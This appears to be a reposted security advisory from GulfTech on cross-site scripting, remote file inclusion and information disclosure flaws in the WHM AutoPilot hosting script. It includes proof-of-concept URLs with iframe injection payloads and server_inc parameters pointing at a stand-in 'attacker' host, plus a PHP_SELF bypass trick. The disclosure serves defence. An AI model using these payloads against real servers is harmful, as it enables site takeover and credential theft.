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Multiple WHM AutoPilot Vulnerabilities
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SUMMARY
"Started by a webhost looking for more out of a simple management script,
Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs)
setout to build an internal management system that could handle the day to
day operations of a normal hosting company. The key was to remove the need
to constantly watch your orders and manage the installs. Alas,
<http://www.whmautopilot.com/> WHM AutoPilot was born".
Multiple security vulnerabilities have been discovered in WHM AutoPilot
ranging from Cross Site Scripting to PHP Code Injection.
DETAILS
Cross Site Scripting:
There are a significant number of cross site scripting issues in WHM
AutoPilot. Most of these are caused by calling scripts directly and
specifying certain variable values yourself. Below are a few examples,
though there are many more XSS holes than just the examples am showing
below.
http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E
We believe that every file in the /themes/blue/ directory can be
manipulated in this way, and of course this can be used to steal a users
credentials or render hostile code.
File Inclusion Vulnerability:
WHM AutoPilot is susceptible to several potentially very dangerous file
include vulnerabilities. Below are several examples of how files can be
included and possibly executed remotely.
http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
This can be used to include php scripts and possibly take control of the
webserver and more. A user does not have to be logged in to exploit this
vulnerability either so that just makes it even more dangerous.
Notice in the first sample, the "header.php/step_one.php"? Well, that was
done to get around a piece of code that looked something like what is
pasted just below.
if (ereg("test.php", $PHP_SELF)==true)
{
include $server_inc."/step_one_tables.php";
}
Which works because $PHP_SELF will return the value of
"header.php/step_one.php" expectedly. The below excerpt was taken from the
PHP manual.
"PHP_SELF
The filename of the currently executing script, relative to the document
root. For instance, $_SERVER['PHP_SELF'] in a script at the address
http://example.com/test.php/foo.bar would be /test.php/foo.bar. The
__FILE__ constant contains the full path and filename of the current (i.e.
included) file."
Information Disclosure:
By default WHM AutoPilot is shipped with a phpinfo() script that is
accessible to anyone. As far as I know WHM AutoPilot needs register
globals to work, but if you want to check php settings anyway the file can
be found in the root directory as "phpinfo.php".
ADDITIONAL INFORMATION
The information has been provided by <mailto:security@gulftech.org>
GulfTech Security.
The original article can be found at:
<http://www.gulftech.org/?node=research&article_id=00059-12272004>
http://www.gulftech.org/?node=research&article_id=00059-12272004
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